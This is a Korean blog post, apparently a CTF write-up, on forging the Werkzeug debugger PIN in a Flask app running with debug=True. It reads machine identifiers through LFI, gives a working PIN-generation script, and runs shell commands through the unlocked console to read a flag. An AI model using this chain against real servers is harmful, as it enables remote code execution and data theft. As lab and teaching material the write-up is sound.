본문 바로가기

꿀팁!

python flask debugger pin취약점 문제

Werkzeug 는 Flask가 많이 사용하는 WSGI웹 애플리케이션 라이브러리이다. 디버깅시 사용하면 편하지만 RCE취약점으로 연결될수있다는 점이있다.

 

app.run(host='0.0.0.0', port=8000, threaded=True, debug=True)

이런 문제의 특징은 debug기능이 true로 되어있다는것이다.(true로 할시 pin번호만 입력하면 interactive interpreter형식의 python을 사용할수 있게 된다)

 

콘솔에 접근하는 방법은

url:{port}/console 에 접근하거나

에러페이지에서 에러에 커서를 대면 우측의 콘솔버튼으로 접근이 가능하다.

 

하지만 pin번호를 알아야 하기에 이핀번호를 어케 알아내느냐?

보통 LFI취약점으로 파일을 읽을 수 있게된다.

 

다음 에러 페이지를 자세히 보면 python3.8버전인 것을 알수있다.

이를 기반으로 pin번호를 만드는 부분을 읽으면 되는것

/usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py
/usr/local/lib/python2.7/dist-packages/werkzeug/debug/__init__.py

다음 경로를 보면 된다. python버전마다 경로가 살짝 다를수있으니 찾아보는게 좋다.

 

# -*- coding: utf-8 -*-
"""
    werkzeug.debug
    ~~~~~~~~~~~~~~

    WSGI application traceback debugger.

    :copyright: 2007 Pallets
    :license: BSD-3-Clause
"""
import getpass
import hashlib
import json
import mimetypes
import os
import pkgutil
import re
import sys
import time
import uuid
from itertools import chain
from os.path import basename
from os.path import join

from .._compat import text_type
from .._internal import _log
from ..http import parse_cookie
from ..security import gen_salt
from ..wrappers import BaseRequest as Request
from ..wrappers import BaseResponse as Response
from .console import Console
from .tbtools import get_current_traceback
from .tbtools import render_console_html

# A week
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin):
    if isinstance(pin, text_type):
        pin = pin.encode("utf-8", "replace")
    return hashlib.md5(pin + b"shittysalt").hexdigest()[:12]


_machine_id = None


def get_machine_id():
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate():
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except IOError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except IOError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = 
<([^>
    ]+)', dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        try:
            import winreg as wr
        except ImportError:
            try:
                import _winreg as wr
            except ImportError:
                wr = None

        if wr is not None:
            try:
                with wr.OpenKey(
                    wr.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    wr.KEY_READ | wr.KEY_WOW64_64KEY,
                ) as rk:
                    guid, guid_type = wr.QueryValueEx(rk, "MachineGuid")

                    if guid_type == wr.REG_SZ:
                        return guid.encode("utf-8")

                    return guid
            except WindowsError:
                pass

    _machine_id = _generate()
    return _machine_id


class _ConsoleFrame(object):
    """Helper class so that we can reuse the frame console code for the
    standalone console.
    """

    def __init__(self, namespace):
        self.console = Console(namespace)
        self.id = 0


def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", app.__class__.__module__)

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", app.__class__.__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = "__wzd" + h.hexdigest()[:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

열어 보면 다음처럼 있는데

def get_pin_and_cookie_name(app):

요부분을 뽑아서 키를 생성해주면된다.

probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]
 
private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]

키생성에 필요한 인자값들은 다음처럼 되어있고 이것을 채워주기만 하면 된다.

 

각각설명해보면 

probably_public_bits는

username: app.py를 실행한 사용자 이름

modname: 그냥 flask.app

getattr(app, '__name__', getattr (app .__ class__, '__name__')): 그냥 Flask

getattr(mod, '__file__', None): flask 폴더에 app.py의 절대 경로

 

uuid.getnode(): 해당 pc의 MAC 주소

get_machine_id(): 해당 pc에서 '/etc/machine-id' 파일의 값이나 '/proc/sys/kernel/random/boot_i' 파일의 값이다.

 

username은 /etc/passwd나 /etc/group에서 유추가능하고

두번째값은 flask.app고정

세번째값은 Flask라 생각하면된다.

네번째값은 직접 찾아봐도 된다. ( getattr(mod, '__file__', None) 함수를 통해 확인 가능)

 

private_bit의 첫번쨰값은 mac주소로

/proc/net/arp->인터페이스 이름확인 여기선 eth0
/sys/class/net/eth0/address 로 맥주소값을 구할수있고 

https://www.vultr.com/resources/mac-converter/?mac_address=aa:fc:00:00:28:01 

 

MAC Address Converter

We are simplifying the cloud. One Login, 16 Countries, 25 Cities, Infinite Possibilities.

www.vultr.com

다음 링크에서 맥주소를 int값으로 변환가능하다.

그다음은 machine-id값으로  '/etc/machine-id' 파일의 값이나 '/proc/sys/kernel/random/boot_i'에서 구할수있다.

물론 이문제에서는 machine-id부분을 변형하여(__init.py__의 def get_machine_id()부분 참고) '/'로 split한 cgroup값을 machine-id에 붙여준다음 pin을 만들게 된다.

.

import hashlib

from itertools import chain

probably_public_bits = [
        'dreamhack',
        'flask.app',
        'Flask',
        '/usr/local/lib/python3.8/site-packages/flask/app.py',
    ]

private_bits = [

	'187999308490753',  # MAC주소를 int형으로 변환한 값,  

	'c31eea55a29431535ff01de94bdcf5cf'+'libpod-336e6ae76bf2ef342760f676c2a6bc1bc0d2919ff5f84d6c69395e8f7847339e'   # get_machine_id()+cgroup split

]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
            continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

num=None
rv=None

if num is None:
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9]

if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
        else:
            rv = num

    print(rv)

다음 정보를 기반으로 pin generate코드를 작성했다. 실행하면 핀번호를 얻고 pin입력창에 입력해주면된다.

입력해주면 interpreter python을 사용할수있게되고 

>>> stream=os.popen('/flag')
>>> output=stream.read()
>>> print(output)

다음처럼 os.popen을통해 명령어를 수행하고 리턴값을 출력하게된다.

 

더많은 방법은 다음링크 참조

https://codechacha.com/ko/python-run-shell-script/

 

Python에서 Shell 명령어 실행 및 리턴 값 받기

Python에서 리눅스 쉘 커맨드 또는 스크립트 실행 방법을 소개합니다. `os.system()`에 전달된 명령어를 실행합니다. 결과는 콘솔에 출력됩니다. `os.popen()`에 전달된 명령어를 실행합니다. 결과는 콘

codechacha.com